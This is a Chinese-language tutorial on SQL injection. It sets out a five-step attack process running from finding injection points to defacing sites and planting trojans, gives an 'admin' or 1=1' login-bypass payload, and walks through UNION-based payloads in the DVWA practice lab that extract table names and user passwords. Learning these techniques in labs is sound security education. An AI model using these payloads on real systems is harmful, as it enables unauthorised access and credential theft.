定义
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。
注入过程
第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
密码登录绕过
在一些安全措施不到位的情况下,一些网站的密码可以绕过,甚至可以被猜出来。
在用户名输入处,输入 ‘ 或者 “ 可以进入一个错误页面,根据页面提示可以猜测如何使密码恒正确,输入admin' or 1=1 --'可以使语句恒为真,使SqlServer语句闭合,不用密码登入后台。
DVWA的SQL注入
1、打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。
2、输入1提交,将正常返回查询结果。
3、输入1’提交,将返回一个错误。
4、猜测使用的sql语句可能是:select First name and Surname from 表名 where id='输入的id'。
5、输入1' union select 1,database()#提交,得到数据库名称。
6、输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#,得到数据库中的表名。
7、输入1' union select 1,column_name from information_schema.columns where table_name='users'#,得到users表的列名。
8、输入1' union select 1,concat(user,password) from users#,得到users表的所有用户名和密码。